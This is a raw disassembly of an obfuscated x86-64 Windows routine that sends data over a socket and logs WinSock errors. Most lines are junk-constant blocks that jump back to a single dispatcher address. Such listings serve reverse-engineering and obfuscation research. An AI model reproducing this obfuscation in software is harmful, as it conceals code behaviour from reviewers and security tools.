sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cbbc
push rax
pushf
mov eax, 0xace8e0b8
pushf
not eax
add eax, 0x9151db6e
xor eax, 0xb9b33de0
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xf98e86bb
xor eax, 0xf02cb255
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xed96d6da
xor eax, 0x86c178c5
rol eax, 0x84
popf
pushf
not eax
add eax, 0x8fc96bb1
xor eax, 0x8c387f7a
rol eax, 0x6d
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x53e45e7b
pushf
not eax
add eax, 0x8aa3aba6
xor eax, 0x94842a93
rol eax, 0x59
popf
pushf
not eax
add eax, 0xeeab97b8
xor eax, 0xfa44712e
rol eax, 0x14
popf
pushf
not eax
add eax, 0xd2749976
xor eax, 0xb60c8734
rol eax, 0xdf
popf
jmp 0x14001a161
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cc4e
push rax
pushf
mov eax, 0x4220f308
pushf
not eax
add eax, 0xc39eb19d
xor eax, 0xba1bc3df
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x96e86075
xor eax, 0xc704f908
rol eax, 0xb0
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xacbb5af0
pushf
not eax
add eax, 0xbad0bdeb
xor eax, 0xea4da63d
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe46d1e16
xor eax, 0xeb57ece4
rol eax, 0x36
popf
jmp 0x14001a161
call fcn.140022c1a
push rax
pushf
mov eax, 0xbce005d1
pushf
not eax
add eax, 0xae951d06
xor eax, 0xb43d43d3
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x8890486a
xor eax, 0xc9cd55c1
rol eax, 0x48
popf
pushf
not eax
add eax, 0xc9cbefe5
xor eax, 0xb579f107
rol eax, 0x89
popf
jmp 0x14001a161
mov eax, dword [r14]
test eax, eax
jne 0x14001cd06
push rax
pushf
mov eax, 0xd01078c1
pushf
not eax
add eax, 0xc4c08f63
xor eax, 0xe793ae96
rol eax, 0x49
popf
pushf
not eax
add eax, 0x81a27436
xor eax, 0xda32060e
rol eax, 0xe5
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x73f7ccb
pushf
not eax
add eax, 0xb7d52fea
xor eax, 0xb4b20830
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xaf8b940d
xor eax, 0xd1f579f9
rol eax, 0x75
popf
jmp 0x14001a161
cmp dword [r14 + 4], eax
je 0x14001cd76
push rax
pushf
mov eax, 0x7a18e96f
pushf
not eax
add eax, 0x8ba7974c
xor eax, 0xadfede8c
rol eax, 0x24
popf
pushf
not eax
add eax, 0xad60c318
xor eax, 0xe65989ac
rol eax, 0x9b
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0x1e2a6130
pushf
not eax
add eax, 0xdb3ef06f
xor eax, 0x9b436cd9
rol eax, 0xde
popf
pushf
not eax
add eax, 0x9edd3b08
xor eax, 0xfc9c6a92
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xf7555fb4
xor eax, 0xf8b7f114
rol eax, 0x61
popf
pushf
not eax
add eax, 0x8e2dd614
xor eax, 0xec95fead
rol eax, 0x5f
popf
jmp 0x14001a161
mov dword [rsp + 0x50], eax
mov eax, dword [r14 + 4]
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x58], r15d
xor r9d, r9d
mov r8d, 0x9a9f4c66
pushf
not r8d
add r8d, 0xfa6d01aa
xor r8d, 0x964f0a4c
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xd7191ed1
xor r8d, 0x8bc32652
rol r8d, 0xcc
popf
lea rdx, [rsp + 0x50]
mov rcx, qword [0x14000b0b8]
jmp 0x14001ce28
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14001ce6a
push rax
pushf
mov eax, 0x7079d3e3
pushf
not eax
add eax, 0xe4315b93
xor eax, 0x8661d1c5
rol eax, 0x71
popf
pushf
not eax
add eax, 0x840a1590
xor eax, 0xd6c429e3
rol eax, 0x2d
popf
jmp 0x14001a161
push rax
pushf
mov eax, 0xf6e66031
pushf
not eax
add eax, 0x80a51718
xor eax, 0x9ea69e9f
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xee7008ff
xor eax, 0xbb00fa8e
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xebb1a1f6
xor eax, 0xd0027c6f
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xa930f989
xor eax, 0xcc69bc02
rol eax, 0xcf
popf
jmp 0x14001a161
lea rdx, [0x1b0f3303e]
pushf
sub rdx, 0x70f2aa5e
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14001fe7a
mov rdi, rax
jmp 0x14001cee5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rdi
jmp 0x14001cef1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x18ff87396]
pushf
sub rdx, 0x4ff84246
popf
mov rcx, rax
jmp 0x14001cf0d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001b651
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
push rax
pushf
mov eax, 0xba009cf
pushf
not eax
add eax, 0xf4f9ae53
xor eax, 0x8f4de4d2
rol eax, 0xa
popf
pushf
not eax
add eax, 0xe9e7710b
xor eax, 0x8ef352c1
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xbd089cef
xor eax, 0x9d31aee2
rol eax, 7
popf
pushf
not eax
add eax, 0xe119e67c
xor eax, 0xcb16317d
rol eax, 3
popf
jmp 0x14001a161
mov ecx, 0xe3f12db6
pushf
not ecx
add ecx, 0xcfff8a68
xor ecx, 0xfb5b2ea4
rol ecx, 0x45
popf
pushf
not ecx
add ecx, 0xc7ce2def
xor ecx, 0xd91feb4c
rol ecx, 0x26
popf
jmp 0x14001d03d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
push rax
pushf
mov eax, 0xaec40230
pushf
not eax
add eax, 0x803a117e
xor eax, 0xf645b6c4
rol eax, 0x33
popf
pushf
not eax
add eax, 0xbc1ec9c4
xor eax, 0xdf923ebb
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xca4ee7ab
xor eax, 0xab957ae9
rol eax, 0x76
popf
jmp 0x14001a161
mov dword [rbp - 0x58], r15d
mov ecx, 0xd7004289
pushf
not ecx
add ecx, 0xef828ec9
xor ecx, 0xf9784bf2
rol ecx, 0x35
popf
pushf
not ecx
add ecx, 0x90346538
xor ecx, 0x96782537
rol ecx, 0x3b
popf
jmp 0x14001d0be
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3